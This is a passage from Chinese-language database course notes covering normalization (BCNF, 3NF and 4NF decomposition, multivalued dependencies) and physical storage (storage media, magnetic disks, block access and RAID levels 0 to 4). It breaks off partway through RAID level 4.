- 使用合并规则,将\(F\)中形如 \(\alpha_1 \rightarrow \beta_1\) 和 \(\alpha_1 \rightarrow \beta_2\) 的依赖替换为 \(\alpha_1 \rightarrow \beta_1\beta_2\)
- 查找具有多余属性的函数依赖 \(\alpha \rightarrow \beta\)(多余属性可能出现在\(\alpha\)或\(\beta\)中)
- 如果发现多余属性,则从 \(\alpha \rightarrow \beta\) 中删除该属性
直到F不再变化为止
注意:当某些多余属性被删除后,合并规则可能变得适用,因此需要重新应用合并规则。
Decomposition¶
Goals of Normalization
judge whether a particular relation is in a good form,i.e.,
- No redundant
- No insert ,delete ,update anomalies
In the case that a relationm is not in a good form,we decompose it into a set of relations that:
- The decomposition is a lossless-join decomposition(无损连接分解).
- The decomposition is dependency preservation(依赖保持).
- Each relation Ri is in a good form(BCNF or 3NF)
Desirable properties of a decomposition¶
- 子关系属性的并必须覆盖原属性
- 子关系必须是无损连接的,对于一分为二的分解,分解后的两个子模式的共同属性必须是R1或者R2
-
子关系必须保持函数依赖(Dependency preserving)
-
为了高效地检查更新(确保不违反任何FD),允许在子关系\(R_i\)中分别进行更新验证,而无需执行它们的连接操作。
-
F对\(R_i\)的限制是:\(F_i \subseteq F^+\);\(F_i\)只包含\(R_i\)的属性。
-
\((F_1 \cup F_2 \cup ... \cup F_n)^+ = F^+\),其中\(F_i\)是包含在\(F^+\)中且只包含\(R_i\)属性的依赖集。
-
子关系必须满足一定的范式.Boyce-Codd范式(BCNF)或第三范式(3NF)。
Example
R(A,B,C),F={A \(\rightarrow\) B,B \(\rightarrow\) C}
分解为R1(A,B),R2(B,C)
- 无损分解验证:
而\(B^+ = \{B,C\}\),所以\(B\)是\(R_2\)的Key,所以\(R_1\)和\(R_2\)是无损分解
- 依赖保持验证:
所以正确
若是分解为R1(A,B),R2(A,C)
则对于依赖保持,有
所以不正确
tesing for Dependency Preservation
To check if dependency \(\alpha \rightarrow \beta\) is preserved in a decomposition of
R into R1,R2,...,Rn
initial result = \(\alpha\)
while (changes to result): for each Ri in the decomposition: t= (result \(\cap\) Ri)+ \(\cap\) Ri result = result \(\cup\) t
if result contains all attributes in \(\beta\),then the dependency is preserved
即对于每个子关系Ri:取result与Ri的交集,找出当前已知属性中属于Ri的部分
计算这些属性在Ri关系上的闭包(使用Ri上有效的函数依赖)再与Ri取交集,确保结果仍在Ri的属性范围内
将计算结果并入result集合
apply this process to each dependency in F
Boyce-Codd Normal Form¶
Definition
关系模式\(R\)在功能依赖集\(F\)下满足BCNF(Boyce-Codd Normal Form),如果对于\(F^+\)中所有形如\(\alpha \rightarrow \beta\)的功能依赖,其中\(\alpha \subseteq R\)且\(\beta \subseteq R\),至少满足以下条件之一:
- \(\alpha \rightarrow \beta\)是平凡的(即\(\beta \subseteq \alpha\))
- 或
- \(\alpha\)是\(R\)的超键(即\(R \subseteq \alpha^+\),\(\alpha \rightarrow R\))
简单来说,BCNF要求所有非平凡的功能依赖,其左侧必须是超键。这个范式比第一范式更加严格,能够消除更多的数据冗余和异常问题。
Example
R(A,B,C),F={A \(\rightarrow\) B,B \(\rightarrow\) C},Key={A}
R不是BCNF,因为\(B \rightarrow C\)的左侧不是超键,也不是平凡的。
R分解为R1(A,B),R2(B,C)
-
无损分解验证和依赖保持验证成立;
-
此时R1和R2都是BCNF
Testing for BCNF¶
要检查一个非平凡依赖 \(\alpha \rightarrow \beta\) 是否违反BCNF:
- 计算 \(\alpha^+\)(属性 \(\alpha\) 的闭包)
- 验证 \(\alpha^+\) 是否包含关系 \(R\) 的所有属性,即 \(\alpha\) 是否是 \(R\) 的超键
简化测试:要检查关系模式 \(R\) 是否满足BCNF,只需检查给定集合 \(F\) 中的依赖是否违反BCNF,而不必检查 \(F^+\) 中的所有依赖。
- 如果 \(F\) 中没有依赖违反BCNF,那么 \(F^+\) 中的依赖也不会违反BCNF
\(F^+\) 是由Armstrong的3个公理从 \(F\) 推出的,而任何公理都不会使函数依赖(FD)左边变小(拆分),故如果 \(F\) 中没有违反BCNF的FD(即左边是superkey),则 \(F^+\) 中也不会。
Warning¶
然而,仅使用 \(F\) 来测试BCNF可能在测试分解关系 \(R_i\) 时出现错误。
例如,考虑 \(R(A, B, C, D)\),函数依赖 \(F = \{A \rightarrow B, B \rightarrow C\}\)
- \(R\) 是否满足BCNF?候选键是什么?
- 将 \(R\) 分解为 \(R_1(A, B)\) 和 \(R_2(A, C, D)\)
- \(F\) 中没有仅包含 \((A, C, D)\) 属性的函数依赖,因此可能误认为 \(R_2\) 满足BCNF
- 实际上,\(F^+\) 中的依赖 \(A \rightarrow C\) 表明 \(R_2\) 不满足BCNF,因为\(A\)不是\(R_2\)的超键,它不能确定\(D\)
可在 \(F\) 下判别 \(R\) 是否违反BCNF,但必须在 \(F^+\) 下判别 \(R\) 的分解式是否违反BCNF。
Algorithm for BCNF Decomposition¶
result := {R};
done := false;
compute F+;
while (not done) do
if (there is a schema Ri in result that is not in BCNF)
then begin
let \(\alpha \rightarrow \beta\) be a nontrivial functional
dependency that holds on Ri such
that \(\alpha \rightarrow Ri\) is not in F+, and \(\alpha \cap \beta = \emptyset\);
result := (result - Ri) \(\cup\) (\(\alpha, \beta\)) \(\cup\) (Ri - \(\beta\));
end
else done := true;
注:最终,每个子模式都满足BCNF,且分解是无损连接的。
说明:
- 当发现结果集中存在不满足BCNF的关系模式Ri时,这意味着Ri中存在非平凡函数依赖\(\alpha \rightarrow \beta\),且\(\alpha\)不是键
- 将Ri分解为两个子模式:
- Ri1 = (\(\alpha, \beta\))
- Ri2 = (Ri - \(\beta\), \(\alpha\))
- 其中\(\alpha\)是Ri1和Ri2的共同属性
BCNF分解实例
考虑关系模式:
R = (branch-name, branch-city, assets, customer-name, loan-number, amount)
函数依赖集:
F = {branch-name \(\rightarrow\) branch-city assets, loan-number \(\rightarrow\) amount branch-name}
候选键是 {loan-number, customer-name}
分解过程:
-
首先检查R是否满足BCNF
- 函数依赖 branch-name \(\rightarrow\) branch-city assets 中,branch-name 不是超键
- 所以R违反BCNF
-
使用算法进行分解:
- 选择依赖 branch-name \(\rightarrow\) branch-city assets
- \(\alpha\) = branch-name, \(\beta\) = {branch-city assets}
- 得到 R1= (branch-name, branch-city, assets)
- 和 R2 = (branch-name, customer-name, loan-number, amount)
-
检查R1是否满足BCNF
- R1中唯一的非平凡依赖是 branch-name \(\rightarrow\) branch-city assets
- branch-name 是 R1 的候选键
- 所以R1满足BCNF
-
检查R2是否满足BCNF
- R2中有依赖 loan-number \(\rightarrow\) amount branch-name
- loan-number 不是 R2 的超键(不能决定customer-name)
- 所以R2违反BCNF
-
继续分解R2:
- 选择依赖 loan-number \(\rightarrow\) amount branch-name
- 得到 R3 = (loan-number, amount, branch-name)
- 和 R4 = (loan-number, customer-name)
-
检查R3和R4是否满足BCNF
- R3满足BCNF(loan-number是R3的候选键)
- R4满足BCNF({loan-number, customer-name}是R4的候选键)
最终分解:
- R1 = (branch-name, branch-city, assets)
- R3 = (loan-number, branch-name, amount)
- R4 = (customer-name, loan-number)
所有最终的关系模式都满足BCNF,且整个分解是无损连接的。
Third Normal Form¶
Motivation
实际生活中,存在这样的情况:
- Decompose into BCNF is not dependency preserving
- But efficient checking for FD violation on updates is important
Solution
Use 3NF, which is weaker than BCNF, but
- allows some redundancy
- But FDs can be checked on individual relations without computing a join
- There is always a lossless-join, dependency-preserving decomposition into 3NF.
第三范式(3NF)是比BCNF稍弱的范式,它允许某些非平凡依赖的左侧不是超键,但要求右侧属性必须是主键的一部分。
Definition
关系模式 \(R\) 在函数依赖集 \(F\) 下满足第三范式(3NF),如果对于 \(F^+\) 中所有形如 \(\alpha \rightarrow \beta\) 的函数依赖,至少满足以下条件之一:
- \(\alpha \rightarrow \beta\) 是平凡的(即 \(\beta \subseteq \alpha\))
- 或者 \(\alpha\) 是 \(R\) 的超键
- 或者 \(\beta - \alpha\) 中的每个属性都是 \(R\) 的某个候选键的成员,如果\(\beta\)中没有\(\alpha\)的属性,则\(\beta\)是候选键的一部分
- Note: 每个属性可能属于不同的候选键
任何BCNF都是3NF,但3NF不一定是BCNF
Third condition is a minimal relaxation of BCNF to ensure dependency preservation
第三范式的特点:
- 比BCNF更容易实现,但允许一定程度的冗余
- 总能找到一个无损连接且保持依赖的分解
- 实际应用中,当BCNF分解导致依赖不保持时,会采用3NF
Example
R(J,K,L),F={JK \(\rightarrow\) L,L \(\rightarrow\) K}
有两个candidate key:JK,JL
那么R是3NF,因为在第一个FD中,JK是superkey,在第二个FD中,K是candidate key的一部分
但是R不是BCNF,因为L \(\rightarrow\) K,L不是superkey
例如J是student,K是course,L是teacher;
一门课有多个教师,一个教师上一门课,一门课多个学生选;
| J | L | K |
|---|---|---|
| j1 | l1 | k1 |
| j2 | l1 | k1 |
| j3 | l1 | k1 |
| null | l2 | k2 |
A schema that is in 3NF but not in BCNF has the problems of repetition of information (e.g., the relationship l1, k1), and may need to use null values (e.g., to represent the relationship l2, k2, where there is no corresponding value for J).
Testing for 3NF¶
-
只需检查依赖集 \(F\) 中的函数依赖,无需检查 \(F^+\) 中的所有函数依赖。
-
使用 属性闭包 来检查每个依赖 \(\alpha \rightarrow \beta\),以判断 \(\alpha\) 是否为 超键 。
-
当 \(\alpha\) 不是超键时
- 需要验证 \(\beta\) 中的每个属性是否包含在关系 \(R\) 的某个候选键中。
- 这个测试相对昂贵,因为涉及到查找所有候选键。
- 测试关系是否满足\(3NF\)已被证明是 NP-hard。
- 有趣的是,将关系分解为第三范式(稍后会描述)可以在多项式时间内完成。
注:第三范式比BCNF稍弱,但可以保证依赖保持性,这在实际应用中非常重要。
3NF Decomposition Algorithm¶
3NF分解算法是一种能够保证无损连接和依赖保持的分解方法,该算法可以在多项式时间内完成。
Algorithm steps¶
-
找到函数依赖集\(F\)的正则覆盖\(F_c\)
-
为\(F_c\)中的每个函数依赖\(\alpha \rightarrow \beta\)创建一个关系模式\(R_i = (\alpha, \beta)\)
-
如果没有任何关系模式包含原关系的候选键,则添加一个包含候选键的关系模式
-
消除冗余的关系模式(如果有)
Let Fc be a canonical cover for F;
i := 0;
for each functional dependency α → β in Fc do
if none of the schemas Rj, 1 ≤ j ≤ i contains αβ
then begin
i := i + 1;
Ri := (α, β)
end
if none of the schemas Rj, 1 ≤ j ≤ i contains a candidate key for R then
begin
i := i + 1;
Ri := any candidate key for R;
end
return (R1, R2, ..., Ri)
这个算法的特点:
- 第2步确保了依赖保持性,因为\(F_c\)中的每个函数依赖都被包含在某个子模式中
- 第3步确保了无损连接性,因为至少有一个子模式包含原关系的候选键
- 生成的所有关系模式都满足3NF
3NF分解示例
原始关系模式
功能依赖集
候选键
3NF分解过程
根据3NF分解算法,我们需要对关系模式进行分解:
- 首先确认F即为规范覆盖Fc(没有多余属性)
- 为每个功能依赖创建关系模式:
- 处理 banker-name → branch-name office-number:
- 处理 customer-name branch-name → banker-name:
- 检查是否包含候选键:Banker-schema包含了原关系的候选键(customer-name, branch-name)
- 检查冗余关系:两个模式都不冗余
Banker-office-schema = (banker-name, branch-name, office-number)
Banker-schema = (customer-name, branch-name, banker-name)
这个分解具有无损连接性和依赖保持性,且两个关系模式都满足第三范式。这样的分解消除了原关系中可能存在的更新、插入和删除异常问题。
在实际银行系统中,这样的分解使得银行职员信息和客户-银行职员对应关系可以独立管理,更有效地避免了数据冗余和不一致性问题。
BCNF与3NF的比较
| 特性 | BCNF | 3NF |
|---|---|---|
| 定义 | 所有非平凡依赖的左侧必须是超键 | 所有非平凡依赖的左侧是超键,或右侧是候选键的一部分 |
| 数据冗余 | 较少 | 可能存在一些冗余 |
| 依赖保持 | 不保证 | 总是保证 |
| 无损连接 | 保证 | 保证 |
| 复杂度 | NP-complete | 多项式时间可解 |
在实际数据库设计中:
- 如果能够得到无损连接且保持依赖的BCNF分解,优先选择BCNF
- 如果BCNF分解无法保持依赖,而效率检查很重要,则选择3NF
- 有时也会选择混合方案:一部分关系采用BCNF,一部分采用3NF
Multivalued Dependencies¶
Definition
Let \(R\) be a relation schema and let \(\alpha \in R\) and \(\beta \in R\), the multivalued dependency
holds on \(R\), if in any legal relation \(r(R)\), for all pairs of tuples \(t_1\) and \(t_2\) in \(r\) such that \(t_1[\alpha] = t_2[\alpha]\), there exist tuples \(t_3\) and \(t_4\) in \(r\) such that:
Let \(R - \alpha - \beta = Z\):
如果\(\beta \in \alpha\),则\(\alpha \rightarrow\rightarrow \beta\)是平凡的
如果\(\alpha \cup \beta = R\),则\(\alpha \rightarrow\rightarrow \beta\)是平凡的
Example
Let R be a relation schema with a set of attributes that are partitioned into 3 nonempty subsets.
We say that \(Y \rightarrow\rightarrow Z\) (Y multi-determines Z) if and only if for all possible relations r(R) \(t_1=(y1, z1, w1) \in r\) and \(t_2=(y1, z2, w2) \in r\)
then \(t_3=(y1, z1, w2) \in r\) and \(t_4=(y1, z2, w1) \in r\)
Note that since the behavior of Z and W are identical, it follows that \(Y \rightarrow\rightarrow Z\) if \(Y \rightarrow\rightarrow W\).
多值依赖可以这样理解:当一个属性A(\(\alpha\))确定了另一组属性B(\(\beta\))的一组值,并且这组值 独立于 其他属性C(\(R-\alpha-\beta\))时,我们说A多值依赖于B(写作A→→B)。
简单来说:"如果我知道A的值,那么B的值集合与C的值集合是相互独立的组合"。
想象一个学生选课表:
- 每个学生可以选多门课程
- 每个学生有多个爱好
- 学生选什么课与他有什么爱好没有关系
这就形成了:
- 学生ID →→ 课程(学生ID多值依赖于课程)
- 学生ID →→ 爱好(学生ID多值依赖于爱好)
假设张三选了数学和物理两门课,他有绘画和游泳两个爱好,表中就会出现:
| 学生ID | 课程 | 爱好 |
|---|---|---|
| 张三 | 数学 | 绘画 |
| 张三 | 数学 | 游泳 |
| 张三 | 物理 | 绘画 |
| 张三 | 物理 | 游泳 |
注意:表中每个课程都与每个爱好组合出现了一次,这就是多值依赖导致的**数据冗余**。
因为多值依赖表示的是"独立的多对多关系":
- 学生与课程是多对多关系
- 学生与爱好是多对多关系
- 这两种关系相互独立
当我们把独立的关系放在同一张表中,必然会产生所有可能组合,导致冗余。
将表分解为两个独立的关系:
- 学生-课程表:(学生ID, 课程)
- 学生-爱好表:(学生ID, 爱好)
这样既减少了冗余,也反映了数据的真实语义:课程选择和爱好是两个独立的多值事实。
这就是为什么我们需要第四范式(4NF):消除非平凡且非函数依赖的多值依赖。
Fourth Normal Form¶
Definition
The closure \(D^+\) of \(D\) is the set of all functional and multivalued dependencies logically implied by \(D\). 即D的闭包
一个关系模式\(R\)在给定的函数依赖集和多值依赖集\(D\)下满足第四范式(4NF),当且仅当对于所有在\(D^+\)中的多值依赖\(\alpha \rightarrow\rightarrow \beta\)(其中\(\alpha \subseteq R\)且\(\beta \subseteq R\)),至少满足以下条件之一:
- 平凡依赖:\(\alpha \rightarrow\rightarrow \beta\)是平凡的,意味着\(\beta \subseteq \alpha\)(\(\beta\)是\(\alpha\)的子集)或\(\alpha \cup \beta = R\)(\(\alpha\)和\(\beta\)的并集等于整个关系)
- 超键约束:\(\alpha\)是\(R\)的超键
- 如果一个关系满足4NF,它必然满足BCNF
- 4NF主要解决了多值依赖导致的数据冗余问题
- 4NF比BCNF更严格
以学生-课程-爱好关系为例:
| 学生ID | 课程 | 爱好 |
|---|---|---|
| 张三 | 数学 | 绘画 |
| 张三 | 数学 | 游泳 |
| 张三 | 物理 | 绘画 |
| 张三 | 物理 | 游泳 |
这个关系存在多值依赖: - 学生ID →→ 课程 - 学生ID →→ 爱好
但学生ID不是该关系的超键,因此违反4NF。
将违反4NF的关系分解为满足4NF的关系:
- 学生-课程关系:(学生ID, 课程)
- 学生-爱好关系:(学生ID, 爱好)
Requirements for decomposition¶
Restriction of MVDs
Assume \(R\) is decomposed into \(R_1, R_2, ..., R_n\), each \(R_i\) is required to conform to 4NF.
The restriction of \(D\) to \(R_i\) is the set \(D_i\) consisting of :
- All functional dependencies in \(D^+\) that include only attributes of \(R_i\)
- All multivalued dependencies of the form
where \(\alpha \subseteq R_i\) and \(\alpha \rightarrow\rightarrow \beta\) is in \(D^+\)
所有在\(D^+\)中(\(D\)的闭包)仅包含\(R_i\)属性的函数依赖会被保留在\(D_i\)中。
例如:如果原关系有依赖\(A \rightarrow B\),且\(A\)和\(B\)都在子关系\(R_i\)中,则\(A \rightarrow B\)会保留在\(D_i\)中。
对于\(D^+\)中的每个多值依赖\(\alpha \rightarrow\rightarrow \beta\):
如果\(\alpha\)包含在\(R_i\)中
则\(\alpha \rightarrow\rightarrow (\beta \cap R_i)\)会被包含在\(D_i\)中
这表示在子关系上,多值依赖的右侧被"裁剪"为只包含该子关系的属性
Algorithm for 4NF Decomposition¶
result := {R}; // 初始结果集包含原始关系R
done := false; // 设置循环继续标志
compute D+; // 计算依赖集D的闭包
Let Di denote the restriction of D+ to Ri // 确定D+对每个关系的限
while (not done) {
// 检查result中是否存在不满足4NF的关系
if (存在关系Ri不满足4NF) {
// 找到一个违反4NF的多值依赖
选择非平凡多值依赖 α →→ β,使得:
- α不是Ri的超键
- α与β没有交集(α∩β=∅)
// 分解关系Ri
result := (result - Ri) ∪ (α, β) ∪ (Ri - β);
}
else {
done := true; // 所有关系都满足4NF,算法结束
}
}
4NF分解示例
有关系模式 \(R = (A, B, C, G, H, I)\)
函数依赖和多值依赖集:
从中也可以推导出\(A \rightarrow\rightarrow H\),\(A \rightarrow\rightarrow I\)$
\(R\) 不满足4NF,因为 \(A →→ B\) 中 \(A\) 不是超键。
分解过程:
a) \(R_1 = (A, B)\) (\(R_1\) 满足4NF)
b) \(R_2 = (A, C, G, H, I)\) (\(R_2\) 不满足4NF,将其分解为\(R_3\)和\(R_4\))
c) \(R_3 = (C, G, H)\) (\(R_3\) 满足4NF)
d) \(R_4 = (A, C, G, I)\) (\(R_4\) 不满足4NF,因为\(A →→ I\)中\(A\)不是超键)
e) \(R_5 = (A, I)\) (\(R_5\) 满足4NF)
f) \(R_6 = (A, C, G)\) (\(R_6\) 满足4NF)
最终的分解结果是:\(R_1\), \(R_3\), \(R_5\), \(R_6\),所有这些关系都满足4NF,并且分解是无损连接的。
Storage and File Structure¶
约 8456 个字 26 张图片 预计阅读时间 29 分钟
主要面临的问题有
- Data Storage(数据存储) :如何高效地存储和管理数据。
- API 应用程序接口 (SQL) :提供标准化的接口,支持查询、插入、删除和更新操作。
- High Performance(高性能) :通过索引、缓冲管理、查询处理和优化来提升数据库性能。
- Concurrent Control(并发控制) :确保多个用户同时访问数据库时的一致性和正确性。
- Reliability(可靠性) :在系统故障时,保证数据的完整性和可恢复性。
- Security(安全性) :通过授权和加密机制保护数据免受未授权访问。
Overview of Physical Storage Media¶
Physical Level of Databases¶
-
Files and Storage : 数据库在物理层面上存储为文件,例如
.mdf,.ldf,.ora,.dbf等。 -
Storage Media Classification :
- Speed: 数据访问速度。
- Cost: 每单位数据的存储成本。
- Reliability:数据在断电或系统崩溃时可能丢失。存储设备的物理故障(如 RAID 提供的容错机制)。
Storages classified by reliability:
- Volatile storage: loses contents when power is switched off, e.g., DDR2, SDR.
- Non-volatile storage(非易失性存储器): contents persist even when power is switched off. Includes secondary and tertiary storage, as well as batter-backed up main-memory.
Storages classified by speed: - Cache - Main-memory - Flash memory - Magnetic-disk - Optical storage - Tape storage
Hierarchy¶
-
Primary storage: Fastest media but volatile (cache, main memory).
-
Secondary storage (辅助存储器,联机存储器): next level in hierarchy, non-volatile, moderately fast access time ;Also called on-line storage E.g., flash memory, magnetic disks
-
Tertiary storage (三级存储器,脱机存储器): lowest level in hierarchy, non-volatile, slow access time ;also called off-line storage,E.g., magnetic tape, optical storage
Physical Storage Media (Cont.)¶
Cache¶
- Fastest and most costly form of storage, volatile, and managed by the computer system hardware.
- Speed: ≤ 0.5 nanoseconds (ns, 1 ns = 10⁻⁹ seconds).
- Size: ~ KB to ~ MB.
Main Memory¶
- Fast access : 10 to 100 ns.
- Capacity : Generally too small (or too expensive) to store the entire database.
- Widely used capacities: up to a few Gigabytes (1 GB = \(10^9\) B).
- Capacities have increased, and per-byte costs have decreased steadily (roughly a factor of 2 every 2–3 years).
- Volatile : Contents are lost during power failure or system crash.
Flash Memory (快闪存储器)¶
- Also known as EEPROM (Electrically Erasable Programmable Read-Only Memory, 电可擦可编程只读存储器).
- Non-volatile : Data survives power failures.
- Write/Erase Limitations :
- Data can be written at a location only once, but the location can be erased and rewritten.
- Supports a limited number of write/erase cycles (10K–1M).
- Erasing must be done to an entire bank of memory.
- Performance :
- Reads: Roughly as fast as main memory (< 100 ns).
- Writes: Slower (~10 μs), and erases are even slower.
- Cost : Similar to main memory.
- Usage : Widely used in embedded devices such as digital cameras, phones, and USB keys.
Magnetic Disk¶
- Storage : Data is stored on spinning disks and read/written magnetically.
- Primary medium : Used for long-term storage, typically storing the entire database.
- Access :
- Data must be moved to main memory for access and written back for storage.
- Much slower access than main memory.
- Direct-access: Data can be read in any order (unlike magnetic tape).
- Capacity :
- Ranges up to ~1.5 TB (as of 2009).
- Larger capacity and lower cost/byte than main memory or flash memory.
- Growing rapidly with technology improvements (factor of 2–3 every 2 years).
- Reliability :
- Survives power failures and system crashes.
- Disk failure is rare but can destroy data.
Optical Storage¶
- Non-volatile : Data is read optically from a spinning disk using a laser.
- Popular Forms :
- CD-ROM (640 MB).
- DVD (4.7–17 GB).
- Write Types :
- Write-once, read-many (WORM) disks (e.g., CD-R, DVD-R) for archival storage.
- Multiple-write versions available (e.g., CD-RW, DVD-RW, DVD-RAM).
- Performance :
- Reads and writes are slower than magnetic disks.
- Juke-box Systems(自动光盘机) :
- Large numbers of removable disks with a few drives.
- Mechanism for automatic loading/unloading of disks for storing large volumes of data.
Tape Storage¶
- 非易失性 :主要用于备份(从磁盘故障中恢复)和归档数据。
- 顺序访问 :访问速度远慢于磁盘。
- 容量 :容量非常高(40 到 300 GB 的磁带可用)。
- 可移除 :磁带可以从驱动器中移除,因此存储成本远低于磁盘,但驱动器价格昂贵。
- 磁带自动机 (Tape Jukebox) :
- 可用于存储海量数据。
- 容量范围从数百 TB(1 TB = \(10^{12}\) 字节)到甚至 PB(1 PB = \(10^{15}\) 字节)。
Magnetic Disks¶
Disk Structure¶
磁头 (Read-Write Head)
- 位置:磁头非常接近盘片表面(几乎接触)。
- 功能:用于读取或写入磁性编码的信息。
盘片表面 (Surface of Platter)
-
圆形磁道 (Tracks):
- 盘片表面被划分为多个圆形磁道。
- 典型硬盘每个盘片上有超过 50K–100K 条磁道。
-
扇区 (Sectors):
- 每个磁道被划分为多个扇区。
- 扇区是可以读取或写入的最小数据单位。
-
扇区大小:通常为 512 字节。
-
每磁道的扇区数:
- 内圈磁道:500 到 1000 个扇区。
- 外圈磁道:1000 到 2000 个扇区。
读/写扇区 (To Read/Write a Sector)
- 磁臂 (Disk Arm):
- 磁臂移动以将磁头定位到正确的磁道上。
- 盘片旋转 (Platter Spins):
- 盘片持续旋转,当扇区经过磁头下方时,数据被读取或写入。
磁头-磁盘组件 (Head-Disk Assemblies)
- 多盘片 (Multiple Disk Platters):
- 单个主轴上通常有 4 到 16 个盘片。
- 磁头 (Heads):
- 每个盘片对应一个磁头,所有磁头安装在一个公共磁臂上。
- 柱面 (Cylinder):
- 第 i 个柱面由所有盘片的第 i 个磁道组成。
磁盘控制器 (Disk Controller)
- 功能:
- 作为计算机系统与磁盘驱动硬件之间的接口。
- 接收高层次的读/写扇区命令。
- 执行动作,例如移动磁臂到正确的磁道并实际读取或写入数据。
- 校验和 (Checksum):
- 计算并附加校验和到每个扇区,以验证数据是否正确读取。
- 如果数据损坏,存储的校验和与重新计算的校验和很可能不匹配。
- 写入验证 (Write Verification):
- 写入后通过读取扇区来确保写入成功。
- 坏扇区重映射 (Bad Sector Remapping):
- 将坏扇区从逻辑地址映射到预留的物理扇区。
- 重映射信息记录在磁盘或其他非易失性存储器中。
磁盘的性能主要由以下几个方面决定:
- 转速(RPM):盘片的旋转速度,转速越高,数据访问速度越快。
- 磁头寻道时间(Seek Time):磁头移动到目标轨道所需的时间,寻道时间越短,数据访问速度越快。
- 数据传输率(Data Transfer Rate):硬盘与计算机之间的数据传输速度,传输率越高,数据访问速度越快。
- 缓存(Cache):硬盘内部的高速缓存,用于临时存储数据,提高数据传输效率。
Quote
Optimization of Disk-Block Access¶
Block¶
- 定义:来自单个磁道的连续扇区序列。
- 数据传输:数据在磁盘和主存之间以块为单位传输。
- 块大小:
- 范围从 512 字节到几千字节。
- 小块:需要更多的磁盘传输。
- 大块:可能浪费更多空间(由于部分填充的块)。
- 典型块大小:目前范围为 4 到 16 KB。
Disk-Arm-Scheduling Algorithms¶
- 目标:对磁盘访问请求进行排序,以最小化磁盘臂的移动。
- 电梯算法 (Elevator Algorithm):
- 磁盘臂向一个方向移动(从外圈到内圈或反之),处理该方向上的下一个请求。
- 当该方向没有更多请求时,反转方向并重复。
File Organization¶
- 优化块访问时间:通过组织块的位置,使其与数据访问方式相对应。
- 例如,将相关信息存储在同一个柱面或附近的柱面上。
- 文件碎片化:
- 随着文件中数据的插入或删除,文件可能会变得碎片化。
- 如果磁盘上的空闲块分散,新创建的文件可能会被分散存储。
- 对碎片化文件的顺序访问会导致磁盘臂移动增加。
- 碎片整理工具:
- 一些系统提供碎片整理工具以加速文件访问。
- 但在运行这些工具时,系统通常无法使用。
非易失性写缓冲区 (Nonvolatile Write Buffers)¶
-
作用:通过将块立即写入非易失性 RAM 缓冲区来加速磁盘写入。
-
非易失性 RAM:
- 由电池供电的 RAM 或闪存组成。
- 即使断电,数据仍然安全,并将在电力恢复后写入磁盘。
- 控制器行为:
- 当磁盘没有其他请求或请求等待了一段时间时,控制器将数据写入磁盘。
- 数据库操作可以在数据写入磁盘之前继续运行。
- 写入可以重新排序以最小化磁盘臂移动。
日志磁盘 (Log Disk)¶
- 定义:专门用于写入块更新日志的磁盘。
- 特点:
- 写入日志磁盘非常快,因为不需要寻道。
- 不需要特殊硬件(如非易失性 RAM)。
- 文件系统行为:
- 日志文件系统以安全顺序将数据写入非易失性 RAM 或日志磁盘。
- 如果没有日志记录,重新排序写入可能会导致文件系统数据损坏。
RAID¶
Redundant Array of Inexpensive Disks RAID 最初是作为一种成本较低的替代方案,用于替代大型昂贵的磁盘。
RAID 中的 "I" 最初代表 "inexpensive"(廉价)。
如今,RAID 被视为 "independent"(独立的)。
Info
Disk organization techniques that manage a large numbers of disks, providing a view of a single disk of
•High capacity and high speed by using multiple disks in parallel, and
•High reliability by storing data redundantly, so that data can be recovered even if a disk fails
The chance that some disk out of a set of N disks will fail is much higher than the chance that a specific single disk will fail
Eg
a system with 100 disks, each with MTTF of 100,000 hours (approx. 11 years), will have a system MTTF of 1000 hours (approx. 41 days)
Techniques for using redundancy to avoid data loss are critical with large numbers of disks
Reliability improvement¶
-
冗余原理 :存储额外的信息,用于在磁盘故障时重建丢失的数据
-
镜像(Mirroring)技术 :
- 每个磁盘都有一个完整的副本
- 一个逻辑磁盘实际由两个物理磁盘组成
- 每次写操作都在两个磁盘上执行
- 读操作可以从任一磁盘进行
-
故障恢复 :
- 单个磁盘故障时,数据仍可从镜像磁盘获取
- 只有当磁盘及其镜像磁盘在系统修复前都发生故障时才会丢失数据
- 这种双重故障的概率非常小
- 需注意依赖性故障模式(如火灾、建筑物倒塌或电涌)
-
平均数据丢失时间 :
- 取决于平均故障时间(MTTF)和平均修复时间
- 示例:
- MTTF = 100,000小时
- 平均修复时间 = 10小时
- 镜像磁盘对的平均数据丢失时间 = 500 \(\times\) \(10^6\)小时(约57,000年)
- (计算公式:\(100000^2\)/(2 \(\times\) 10))
Performance improvement¶
- 并行化的主要目标 :
- 负载均衡:通过处理多个小访问提高吞吐量
-
并行化大型访问以减少响应时间
-
数据条带化(Striping)技术 :
1 比特级条带化 :
- 将每个字节的位分散到多个磁盘
- 示例:在8个磁盘阵列中,每个字节的第i位写入第i个磁盘
- 可实现8倍于单磁盘的数据读取速率
- 缺点:寻道/访问时间比单磁盘更差
- 现在较少使用
2 块级条带化 :
- 在n个磁盘中,文件的第i个块存储在第((i mod n) + 1)个磁盘上
- 不同块的请求可以在不同磁盘上并行运行
- 长序列块的请求可以并行使用所有磁盘
RAID levels¶
RAID Level 0¶
- 块级条带化 :不具备冗余性。
- 应用场景 :用于高性能应用,数据丢失不关键。
- 工作原理 :使用块级条带化,将数据分散到多个磁盘上。没有冗余,因此数据丢失风险较高。
- 优点 :提供高数据传输速率,适用于对性能要求高但数据安全性要求不高的应用。
RAID Level 1¶
- 镜像磁盘与块级条带化 :提供最佳性能。
- 应用场景 :常用于数据库系统中的日志文件存储。
- 工作原理 :使用镜像技术,每个磁盘都有一个完整的副本。所有写操作都在两个磁盘上执行,读操作可以从任一磁盘进行。
- 优点 :提供高数据安全性和读取性能,适用于需要高可靠性的数据存储。
RAID Level 2¶
-
Memory-Style Error-Correcting-Codes (ECC)与比特级条带化 。
-
工作原理 :使用内存风格的错误校正码(ECC)和比特级条带化。数据被分成位并分布在多个磁盘上,ECC用于错误检测和校正。
- 优点 :提供错误校正能力,但实现复杂且成本较高。
RAID Level 3¶
- 比特交错奇偶校验 :
- 单个奇偶位足以进行错误校正。
- 写入数据时,需计算并写入相应的奇偶位。
- 数据恢复通过计算其他磁盘(包括奇偶位磁盘)的位的异或。
- 数据传输速度快于单个磁盘,但每个I/O需要所有磁盘参与。
- 工作原理 :使用比特交错奇偶校验。一个奇偶位磁盘用于错误校正。写入数据时,需计算并写入相应的奇偶位。
- 优点 :提供快速的数据传输速率,适用于需要高吞吐量的应用。
RAID Level 4¶
- 块交错奇偶校验 :
- 使用块级条带化,并在单独的磁盘上保存奇偶校验块。
- 写入数据块时,需计算并写入相应的奇偶校验块。
- 数据恢复通过计算其他磁盘(包括奇偶校验块)的块的异或。
